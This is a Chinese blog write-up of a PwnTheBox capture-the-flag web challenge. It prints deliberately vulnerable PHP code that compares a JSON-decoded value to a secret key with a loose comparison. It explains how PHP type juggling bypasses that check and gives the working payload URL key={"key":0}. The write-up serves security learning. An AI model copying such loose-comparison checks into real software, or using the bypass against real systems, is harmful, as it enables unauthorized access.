writeup PwnTheBox php是世界上最好的语言

原创

kinnisoy 于 2021-10-27 15:02:38 发布 238 收藏

分类专栏： web安全 writeup 文章标签： php 开发语言 后端

得到题目源码如下

```php
<?php
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了，不过PHP是最好的语言
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){
        $message = json_decode($_GET['key']);
        if ($message->key==$key) {
            echo $flag;
        }
        else die('还差一点就拿到flag了');
    }

?>
```

简单分析得到`a`和`b`赋值相同就可以bypass
key这里需要传入`json`格式的值，我想了好久。
后来，大佬点播之后，遂使用`key={"key": 0}`刚开始给0加了引号，发现过不了。去掉引号就行了。这里使用的是`json_decode`绕过

```php
define('key', 'flag{4}');
if (isset($_POST['a'])) {
    $a = json_decode($_POST['a']);
    if ($a->key == $key) {
        echo "flag" . key;
    } else {
        echo "不相等";
    }
 } else{
     echo "a不存在";
 }
```

> 输入一个json类型的字符串，json_decode函数解密成一个数组，判断数组中key的值是否等于 `$key` 的 值 。 虽 然 `$key` 的值我们不知道，但是可以利用 `0=="string"` 这种形式绕过。

payload如下：

```
https://xxxxxxxxxx.run/?a=1&b=1&key={"key":0}
```

```php
<?php
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了，不过PHP是最好的语言
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){
        $message = json_decode($_GET['key']);
        if ($message->key==$key) {
            echo $flag;
        }
        else die('还差一点就拿到flag了');
    }

?>
```

PWNTHEBOX_FLAG{65[redacted]}